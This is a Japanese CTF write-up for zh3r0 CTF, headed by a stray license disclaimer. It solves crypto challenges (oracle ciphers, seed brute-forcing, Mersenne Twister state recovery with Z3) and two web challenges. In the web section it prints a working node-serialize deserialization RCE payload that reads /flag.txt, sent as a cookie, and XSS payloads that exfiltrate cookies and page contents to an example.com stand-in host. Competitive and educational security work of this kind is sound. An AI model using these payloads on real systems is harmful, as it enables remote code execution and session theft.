THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
その結果、条件を満たす内部状態を数分で求めることができた。
得られたデータを繋げてCyberChefのFrom Hexを用いることで、flagが得られた。
zh3r0{7h3_fu7ur3_m1gh7_b3_c4p71v471ng_bu7_n0w_y0u_kn0w_h0w_t0_l00k_a7_7h3_p457}
b00tleg
TCPサーバの接続情報が与えられた。
このサーバでは以下のような問題を8種類解くことを要求された。
- 暗号化されたflagが与えられる
- 平文を16進数で指定し、その暗号文を求めることができる
- これを用いて暗号化の方法を求め、flagの復号結果を送ることが求められる
1番目の問題
平文の各バイトに1を足した結果の16進表現が暗号文となる。
各バイトから1を引くことで復号できる。
この操作は、CyberChefのSUBを用いて行うことができる。
68656c6c6f20776f726c6421204c6574732067657420676f696e67
hello world! Lets get going
2番目の問題
平文を10進数にしたものが「暗号文」となる。
Pythonのhex関数を用いることで、「復号」できる。
4e6f7468696e672066616e63792c206a757374207374616e646172642062797465735f746f5f696e74
Nothing fancy, just standard bytes_to_int
3番目の問題
平文の各バイトと暗号文の各バイトが1対1に対応した換字式暗号である。
平文 000102 ... fdfeff に対応する暗号文を求めると、それに基づいて復号できる。
復号プログラム
solve-3.pl
#!/usr/bin/perl
use strict;
use warnings;
#my $plain = "000102030405060708090a0b0c0d0e0f101112131415161718191a1b1c1d1e1f202122232425262728292a2b2c2d2e2f303132333435363738393a3b3c3d3e3f404142434445464748494a4b4c4d4e4f505152535455565758595a5b5c5d5e5f606162636465666768696a6b6c6d6e6f707172737475767778797a7b7c7d7e7f808182838485868788898a8b8c8d8e8f909192939495969798999a9b9c9d9e9fa0a1a2a3a4a5a6a7a8a9aaabacadaeafb0b1b2b3b4b5b6b7b8b9babbbcbdbebfc0c1c2c3c4c5c6c7c8c9cacbcccdcecfd0d1d2d3d4d5d6d7d8d9dadbdcdddedfe0e1e2e3e4e5e6e7e8e9eaebecedeeeff0f1f2f3f4f5f6f7f8f9fafbfcfdfeff";
my $enc = "9070c3f8a494d7260f3985a7db2706f59938cee49e7ffe81213e09e2645569d05ae3ef626b727bad7510b4719a68449397562243cf2050fcf6aff4861e19abe0165992a65d0e2f3de654e566086a4f04b2d2dfcd2a9d33826f24f701e1463f1c17114035a0579c5c0c033a0029da7a254b42781aeb0b6567f9bec2b9a1edaa2ec473537d02fba328c56cb5fad1e81f0d7e8f488d5f2ca9bb8063f0b784053c3b9fd44a95d8c8bfeab14d4cee1ba54e341536a2acc1988b47b39b52fd12d58a8960bd312df11dffd97ccacb41ec0a2bd36eb030c0c9dd76e9ae58a83761b883236df3b6bc87ba74184532e7ccde5e5b4951c777d691dc1479078c968e8813f2c6";
my $target = "da257a255a1a0b401aeb03eb0beb03257a1a5a1178577aeb5aeb0c11eb5a35785711eb036557";
my $len = length($target);
for (my $i = 0; $i < $len; $i += 2) {
for (my $j = 0; $j < 256; $j++) {
if (substr($enc, $j * 2, 2) eq substr($target, $i, 2)) {
printf("%02x", $j);
last;
}
}
}
print "\n";
6d6f6e6f20737562737469747574696f6e73206172656e742074686174206372656174697665
mono substitutions arent that creative
4番目の問題
換字式暗号だが、入力の位置ごとに変換テーブルが異なるようだった。
プログラムを用いて0000 ... 0000、0101 ... 0101、…を暗号化することで変換テーブルを求め、復号を行った。
復号プログラム
solve-4.pl
#!/usr/bin/perl
use strict;
use warnings;
use IO::Socket;
my $sock = new IO::Socket::INET(PeerAddr=>"crypto.zh3r0.cf", PeerPort=>1111, Proto=>"tcp");
die "socket error: $!" unless $sock;
binmode($sock);
print $sock "2\n";
print $sock "68656c6c6f20776f726c6421204c6574732067657420676f696e67\n";
print $sock "2\n";
print $sock "4e6f7468696e672066616e63792c206a757374207374616e646172642062797465735f746f5f696e74\n";
print $sock "2\n";
print $sock "6d6f6e6f20737562737469747574696f6e73206172656e742074686174206372656174697665\n";
my $key = "Level: 3, encrypted flag: ";
my $target;
for(;;) {
my $s = <$sock>;
if (substr($s, 0, length($key)) eq $key) {
$target = substr($s, length($key));
chomp($target);
last;
}
}
my $tlen = length($target);
my @tables = ();
print "t : $target\n";
my $header = ">>> message in hex:";
print STDERR (("-" x 64) . "\n");
for (my $i = 0; $i < 256; $i++) {
print $sock "1\n";
until (index(<$sock>, "flag") >= 0) {}
print $sock ((sprintf("%02x", $i) x ($tlen >> 1)) . "\n");
my $data = <$sock>;
if (substr($data, 0, length($header)) ne $header) {
print "invalid data at i = $i\n";
print $data;
close($sock);
exit 1;
}
push(@tables, substr($data, length($header)));
printf("%02x : %s\n", $i, substr($data, length($header), $tlen));
if (($i + 1) % 4 == 0) {
print STDERR "#";
}
}
print STDERR "\n";
close($sock);
print "\nr : ";
for (my $i = 0; $i < $tlen; $i += 2) {
my $ct = substr($target, $i, 2);
my $found = 0;
for (my $j = 0; $j < 256; $j++) {
if (substr($tables[$j], $i, 2) eq $ct) {
printf("%02x", $j);
$found = 1;
last;
}
}
unless ($found) { print "??"; }
}
print "\n";
6372656174696e6720646966666572656e7420737562737469747574696f6e7320666f7220656163682063686172
creating different substitutions for each char
5番目の問題
平文の各バイトを適当に2バイトで現したものが暗号文となる。
暗号文の2バイトを足し、下位8ビットを取り出すことで、平文の各バイトを求めることができた。
復号プログラム
solve-5.pl
#!/usr/bin/perl
use strict;
use warnings;
my $target = "03440765e879204498880470b6b297ca8ee6f92709703c33ef8655cbda8c1e4b135498ddb2c0362ffe661e026f0096dfe1932000096b3d2bd88d40e03e2b6509304676eb7cf6eb7e78e9b2bca5cf";
my $len = length($target);
for (my $i = 0; $i < $len; $i += 4) {
my $c1 = substr($target, $i, 2);
my $c2 = substr($target, $i + 2, 2);
printf("%02x", (hex($c1) + hex($c2)) & 0xff);
}
print "\n";
476c6164207468617420796f752066696775726564206f75742074686520696e76617269616e74
Glad that you figured out the invariant
6番目の問題
平文が5バイトのブロック単位で処理され、最後の足りないバイトには適当な値が入る。
暗号文のブロック数は、平文のブロック数より1多い。
観察の結果、以下の性質を満たすことがわかった。
- 暗号文の最初のブロックと最後のブロックをxorすると、平文の最初のブロックが出る
- k番目の暗号文のブロック xor (K+1)番目の暗号文のブロック xor k番目の平文のブロック で、(k+1)番目の平文のブロックが出る
この計算を手動で行うことで、復号できた。
4865726520776520617070656e6420746865206b6579207769746820796f757220736869742c20706c6561736520646f6e742074656c6c20616e796f6e65
Here we append the key with your shit, please dont tell anyone
7番目の問題
平文の値を3乗してある数で割った余りを10進数で表したものが暗号文になるようだった。
二分探索により、単に3乗しても余りをとっても同じ数になる(すなわち、3乗が「ある数」未満)最大の平文が求まり、
これを用いて「ある数」を求めることができた。
暗号文と「ある数」を取得するプログラム
solve-7-get-n.py
import socket
import re
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("crypto.zh3r0.cf", 1111))
flags = [
"68656c6c6f20776f726c6421204c6574732067657420676f696e67",
"4e6f7468696e672066616e63792c206a757374207374616e646172642062797465735f746f5f696e74",
"6d6f6e6f20737562737469747574696f6e73206172656e742074686174206372656174697665",
"6372656174696e6720646966666572656e7420737562737469747574696f6e7320666f7220656163682063686172",
"476c6164207468617420796f752066696775726564206f75742074686520696e76617269616e74",
"4865726520776520617070656e6420746865206b6579207769746820796f757220736869742c20706c6561736520646f6e742074656c6c20616e796f6e65"
]
for f in flags:
s.send("2\n".encode())
s.send((f+"\n").encode())
pat = re.compile("Level: 6, encrypted flag: (\\d+)\n")
pat2 = re.compile("message in hex:(\\d+)\n")
msg = ""
while True:
msg += s.recv(4096).decode()
res = pat.search(msg)
if res:
cypher_text = res.group(1)
break
def get(value):
s.send("1\n".encode())
query = "%x" % value
if len(query) % 2 != 0:
query = "0" + query
s.send((query+"\n").encode())
msg = ""
while True:
msg += s.recv(4096).decode()
res = pat2.search(msg)
if res:
return int(res.group(1))
def check(value):
res = get(value)
return res == value ** 3
print("cypher_text = " + cypher_text)
ok = 0x10000000000000000000000000000000000000000000000000000000000000000000000000000000000000
ng = 0x30000000000000000000000000000000000000000000000000000000000000000000000000000000000000
while not check(ok):
ok //= 2
while check(ng):
ng *= 2
while ok + 1 < ng:
m = ok + (ng - ok) // 2
print(m)
if check(m):
ok = m
else:
ng = m
ok_res = get(ok)
ng_res = get(ok + 1)
ng_expected = (ok + 1) ** 3
n = ng_expected - ng_res
print("ok = " + str(ok))
print("ok_res = " + str(ok_res))
print("ng_res = " + str(ng_res))
print("ng_expected = " + str(ng_expected))
print("n = " + str(n))
巨大数向け素数判定機 - instant toolsでチェックすると、「ある数」は素数のようだった。
ということは、「平文を定数乗して素数で割った余り」が与えられているため、
これは TSG LIVE! 6 CTF の Single RSA に帰着できる。
すなわち、平文をe乗してnで割った余りcが与えられている時、
Pythonで値d = pow(e, -1, n - 1)を求め、cをd乗してnで割った値を求めることで、復号できる。
43756265206d6f64756c6f207072696d652c20616e7920677565737365732077686174206d6967687420626520636f6d696e67206e6578743f
Cube modulo prime, any guesses what might be coming next?
8番目の問題
平文を(10進数で2～3桁程度の数)乗してある数で割った余りを10進数で表したものが暗号文になるようだった。
7番目の問題と同様に、二分探索などで「ある数」を求めることができる。
また、平文02に対応する暗号文より、何乗するかを求めることができる。
暗号文、何乗するか、「ある数」を取得するプログラム
solve-8-get-n.py
import socket
import re
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("crypto.zh3r0.cf", 1111))
flags = [
"68656c6c6f20776f726c6421204c6574732067657420676f696e67",
"4e6f7468696e672066616e63792c206a757374207374616e646172642062797465735f746f5f696e74",
"6d6f6e6f20737562737469747574696f6e73206172656e742074686174206372656174697665",
"6372656174696e6720646966666572656e7420737562737469747574696f6e7320666f7220656163682063686172",
"476c6164207468617420796f752066696775726564206f75742074686520696e76617269616e74",
"4865726520776520617070656e6420746865206b6579207769746820796f757220736869742c20706c6561736520646f6e742074656c6c20616e796f6e65",
"43756265206d6f64756c6f207072696d652c20616e7920677565737365732077686174206d6967687420626520636f6d696e67206e6578743f"
]
for f in flags:
s.send("2\n".encode())
s.send((f+"\n").encode())
pat = re.compile("Level: 7, encrypted flag: (\\d+)\n")
pat2 = re.compile("message in hex:(\\d+)\n")
msg = ""
while True:
msg += s.recv(4096).decode()
res = pat.search(msg)
if res:
cypher_text = res.group(1)
break
def get(value):
s.send("1\n".encode())
query = "%x" % value
if len(query) % 2 != 0:
query = "0" + query
s.send((query+"\n").encode())
msg = ""
while True:
msg += s.recv(4096).decode()
res = pat2.search(msg)
if res:
return int(res.group(1))
two_res = get(2)
pnum = 1
while 2 ** pnum < two_res:
pnum += 1
if 2 ** pnum != two_res:
raise Exception("two_res = " + str(two_res) + " invalid!")
def check(value):
res = get(value)
return res == value ** pnum
print("cypher_text = " + cypher_text)
print("e = " + str(pnum))
ok = 0;
ng = 0x01020304
while not check(ok):
ok //= 2
while check(ng):
ng *= 2
while ok + 1 < ng:
m = ok + (ng - ok) // 2
print(m)
if check(m):
ok = m
else:
ng = m
ok_res = get(ok)
ng_res = get(ok + 1)
ng_expected = (ok + 1) ** pnum
n = ng_expected - ng_res
print("ok = " + str(ok))
print("ok_res = " + str(ok_res))
print("ng_res = " + str(ng_res))
print("ng_expected = " + str(ng_expected))
print("n = " + str(n))
今回も「ある数」は素数だったので、7番目の問題と同様に平文を求めることができた。
7a683372307b31375f61316e375f6d7563685f6275375f315f346d5f73306d333768316e675f30665f345f6372797037346e346c7935375f6d7935336c667d
zh3r0{17_a1n7_much_bu7_1_4m_s0m37h1ng_0f_4_cryp74n4ly57_my53lf}
flag
zh3r0{17_a1n7_much_bu7_1_4m_s0m37h1ng_0f_4_cryp74n4ly57_my53lf}
import numpy as MT
TCPサーバの接続情報と、そこで動いているプログラムが与えられた。
このプログラムは、以下を行うものであった。
-
numpy.randomをimportし、randomとする -
random.seed(適当な32ビットの値)を実行する -
random.bytes(16)を2回実行し、返り値をそれぞれivとkeyとする - ivを
iv、鍵をkeyとするCBCモードのAESで、flagを暗号化する - 暗号文の前に
ivを連結したものを求める - 5で求めたデータを新しいflagとし、2～5をもう一回行う
- 求めたデータを16進数で出力する
プログラムには、コメントに
i dont want people bruteforcing it
とあった。
そこで、これは「押すなよ！絶対押すなよ！」みたいなやつだと解釈し、シード値の全探索をすることにした。
ivがそのまま出力されるので、random.bytes(16)の返り値がその値になるシード値を探せばよい。
全探索をするプログラム
bruteforce3.py
from numpy import random
import sys
_, target, start, end = sys.argv
file = open("bruteforce3-%s-%s-%s.txt" % (target, start, end), "w", buffering=1)
for c in range(int(start), int(end)):
random.seed(c)
iv = random.bytes(16)
if iv.hex() == target:
file.write("found! " + str(c) + "\n")
break
if c % 0x10000 == 0:
print("searching " + str(c))
file.write("searching " + str(c) + "\n")
file.close()
bruteforce3-launch.bat
start python bruteforce3.py %1 0 268435456
start python bruteforce3.py %1 268435456 536870912
start python bruteforce3.py %1 536870912 805306368
start python bruteforce3.py %1 805306368 10737418204
start python bruteforce3.py %1 1073741824 1342177280
start python bruteforce3.py %1 1342177280 1610612736
start python bruteforce3.py %1 1610612736 1879048192
start python bruteforce3.py %1 1879048192 2147483648
start python bruteforce3.py %1 2147483648 2415919104
start python bruteforce3.py %1 2415919104 2684354560
start python bruteforce3.py %1 2684354560 2952790016
start python bruteforce3.py %1 2952790016 3221225472
start python bruteforce3.py %1 3221225472 3489660928
start python bruteforce3.py %1 3489660928 3758096384
start python bruteforce3.py %1 3758096384 4026531840
start python bruteforce3.py %1 4026531840 4294967296
手元のマシン (Intel(R) Core(TM) i7-9750H CPU @ 2.60GHz 2.59 GHz) で実行したところ、
1回につき3時間前後で条件を満たすシード値が得られた。
CyberChefにはAES Decryptの機能があるが、CBCモードでこれを使おうとすると、
PKCS#7 paddingの使用が強制され、1回目の復号では最後のブロックが欠けてしまった。
そこで、CS50 IDE上でvirtualenvを用い、numpyとpycryptoをインストールして復号を行った。
PythonでAES暗号化/復号 - Qiita
を参考に、以下のようにすると復号が可能である。
import numpy as np
from Crypto.Cipher import AES
np.random.seed(求めたシード値)
iv,key = np.random.bytes(16), np.random.bytes(16)
data = bytes.fromhex("復号する16進データから最初の32文字(iv)を除いたもの")
cipher = AES.new(key, AES.MODE_CBC, iv)
dc = cipher.decrypt(data)
dc.hex()
2回目はCyberChefで復号できた。
zh3r0{wh0_th0ugh7_7h3_m3r53nn3_7w1573r_w45_5o_pr3d1c74bl3?c3rt41nly_n0t_m47454n0}
Real Mersenne
TCPサーバの接続情報と、そこで動いているPythonのプログラムが与えられた。
このプログラムは、以下を2000回行うものであった。
-
random.random()を用い、0～1の浮動小数点数の乱数を得る。これをxとする - 浮動小数点数を入力させる。これを
yとする -
Fraction(2**53,int(2**53*x)-int(2**53*y))を求め、出力する
ただし、xとyの差の絶対値が1/2**10以下の時は、かわりにFraction(2**10)を用いる - 3で求めた値の合計が
10**6を超えたら、flagを出力して終了する
0を入力すると、たいていの場合random.random()の返り値をそのまま知ることができる。
ただし、1024が出力された場合は、返り値はわからない。
cpython/_randommodule.c at main · python/cpython · GitHub
を参考にすると、どのようにしてメルセンヌ・ツイスタの返す整数値から
random.random()の返り値を構築しているかがわかる。
これらに基づくと、問題 Twist and Shout と同様に、
Z3およびメルセンヌ・ツイスタの移植を用いて最初の内部状態を求めることができそうな気がする。
さらに、もし最初の内部状態が求まれば、将来の乱数列を求めることができ、
それを用いて1024を加算させ続けることができるようになる。
実際に、最初の1000個の値を用いて最初の内部状態を求めさせたところ、数分で求まり、
1024を加算させ続けてflagを得ることができた。
これらの処理を行うプログラム
solve.py
import socket
import re
import z3
import sys
import time
def getBV(name):
return z3.BitVec(name, 32)
N = 624
M = 397
MATRIX_A = 0x9908b0df
UPPER_MASK = 0x80000000
LOWER_MASK = 0x7fffffff
mt_vars = [getBV("mt" + str(i)) for i in range(N)]
mt = [v for v in mt_vars]
mti = N
rshift = z3.LShR
def genrand_int32():
global mti
if mti >= N:
for kk in range(N - M):
y = (mt[kk] & UPPER_MASK) | (mt[kk + 1] & LOWER_MASK)
mt[kk] = mt[kk + M] ^ rshift(y, 1) ^ (MATRIX_A * (y & 0x1))
for kk in range(N - M, N - 1):
y = (mt[kk] & UPPER_MASK) | (mt[kk + 1] & LOWER_MASK)
mt[kk] = mt[kk + (M-N)] ^ rshift(y, 1) ^ (MATRIX_A * (y & 0x1))
y = (mt[N - 1] & UPPER_MASK) | (mt[0] & LOWER_MASK)
mt[N - 1] = mt[M - 1] ^ rshift(y, 1) ^ (MATRIX_A * (y & 0x1))
mti = 0
y = mt[mti]
mti = mti + 1
y = y ^ rshift(y, 11)
y = y ^ ((y << 7) & 0x9d2c5680)
y = y ^ ((y << 15) & 0xefc60000)
y = y ^ rshift(y, 18)
return y
s = z3.Solver()
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(("crypto.zh3r0.cf", 4444))
pat = re.compile("round score: (\\d+)/(\\d+)\n")
pat2 = re.compile("round score: (\\d+)\n")
query_total = 2000
query_num = 1000
for i in range(query_num):
sock.send("0\n".encode())
msg = ""
while True:
msg += sock.recv(4096).decode()
res = pat.search(msg)
if res:
bunsi = int(res.group(1))
bunbo = int(res.group(2))
value = bunbo * ((1 << 53) // bunsi)
break
res = pat2.search(msg)
if res:
bunsi = int(res.group(1))
value = ((1 << 53) // bunsi)
break
a = rshift(genrand_int32(), 5)
b = rshift(genrand_int32(), 6)
if value != ((1 << 53) // 1024):
# s.add(a * 67108864 + b == value)
s.add(a == (value >> (32 - 6)))
s.add(b == (value & ((1 << (32 - 6)) - 1)))
if i % 50 == 0:
sys.stderr.write(str(i) + "\n")
sys.stderr.write("solving...\n")
start_time = time.time()
res = s.check()
end_time = time.time()
sys.stderr.write("done in " + str(end_time - start_time) + " sec.\n")
if res == z3.sat:
m = s.model()
mt = [m[v].as_long() for v in mt_vars]
print(mt)
mti = N
rshift = lambda a, b : a >> b
for _ in range(query_num):
genrand_int32()
genrand_int32()
for i in range(query_num, query_total):
a = genrand_int32() >> 5
b = genrand_int32() >> 6
value = (a * 67108864 + b) / float(1 << 53)
sock.send((str(value) + "\n").encode())
msg = ""
while True:
msg += sock.recv(4096).decode()
if "guess" in msg:
break
if "zh3r0" in msg:
print(msg)
sock.close()
sys.exit(0)
if i % 50 == 0:
sys.stderr.write(str(i) + "\n")
else:
print(res)
sock.close()
zh3r0{r34l_m3n_d34l_w17h_m3r53nn3_w17h_r34l_v4lu3s}
Web
sparta
リンク(httpで始まるURL)と、サーバーのプログラム一式が与えられた。
与えられたリンクは、FirefoxおよびGoogle Chromeでは(素直には)アクセスできないようだった。
Firefoxでは
通常、ウェブサイトの表示以外の目的で使用されるネットワークポートがこのアドレスでは使用されています。ユーザーを保護するためにリクエストをキャンセルしました。
と表示され、Google ChromeではERR_UNSAFE_PORTが出た。
プログラムを読むと、cookieのデータをbase64デコードしてserialize.unserializeに渡している部分があった。
このserializeは、
var serialize = require('node-serialize');
という定義である。
「node-serialize writeup」でググってみたところ、数件のページを経由してこれにたどり着いた。
Exploiting Node.js deserialization bug for Remote Code Execution(CVE-2017-5941)
この資料によると、関数のシリアライズ結果に()を加えることで、コードを実行させることができるようである。
また、配布されたDockerfileより、ファイル/flag.txtが存在しそうである。
ファイルの読み方は、ここが参考になった。
[node.js] テキストファイルを読みこみ - Qiita
シリアライズは、ここの「Try on RunKit」で試すことができる。
node-serialize - npm
結論として、
{"username":"_$$ND_FUNC$$_function username() {return require('fs').readFileSync('/flag.txt', 'utf8')}()"}
をCyberChefでbase64エンコードし、Cookieに乗せることで、flagを得ることができた。
すなわち、以下のHTTPリクエストをTera Termで送信することで、flagを得ることができた。
POST /guest HTTP/1.1
Host: web.zh3r0.cf:6666
Connection: close
Content-Length: 0
Cookie: guest=eyJ1c2VybmFtZSI6Il8kJE5EX0ZVTkMkJF9mdW5jdGlvbiB1c2VybmFtZSgpIHtyZXR1cm4gcmVxdWlyZSgnZnMnKS5yZWFkRmlsZVN5bmMoJy9mbGFnLnR4dCcsICd1dGY4Jyl9KCkifQ%3D%3D
zh3r0{4ll_y0u_h4d_t0_d0_w4s_m0v3_th3_0bjc3ts_3mper0r}
bxxs
WebページのURLが与えられた。
このページからリンクされていた「Send a feedback to admin」ページでは、
テキストを送信することができるようだった。
以下のデータにおいて、実際はexample.comのかわりにRequestBinのエンドポイントのドメインを用いた。
<img src="x" id="deadbeef"><img src="x" onerror="document.getElementById('deadbeef').src='https://example.com/?deadbeef='+encodeURIComponent(document.cookie)">
を送信すると、リクエストは送られてきたがデータは空だった。
<img src="x" id="deadbeef"><img src="x" onerror="h=document.getElementsByTagName('html')[0].innerHTML;document.getElementById('deadbeef').src='https://example.com/?deadbeef='+encodeURIComponent(h)">
を送信した結果より、bodyタグの中に送信したテキストがそのまま入るようだった。
<img src="x" id="deadbeef"><img src="x" onerror="document.getElementById('deadbeef').src='https://example.com/?deadbeef='+encodeURIComponent(location.href)">
を送信した結果より、このHTMLのURLはhttp://0.0.0.0:8080/Secret_admin_cookie_panelのようだった。
試しにこのURLの0.0.0.0:8080を問題ページのURLのドメインとポートに置き換えてアクセスしてみると、
自分が送信したデータが表示された。
さらに数回リロードしていると、flagがhttp://web.zh3r0.cf:3333/flagへのiframeとして表示された。
zh3r0{{Ea5y_bx55_ri8}}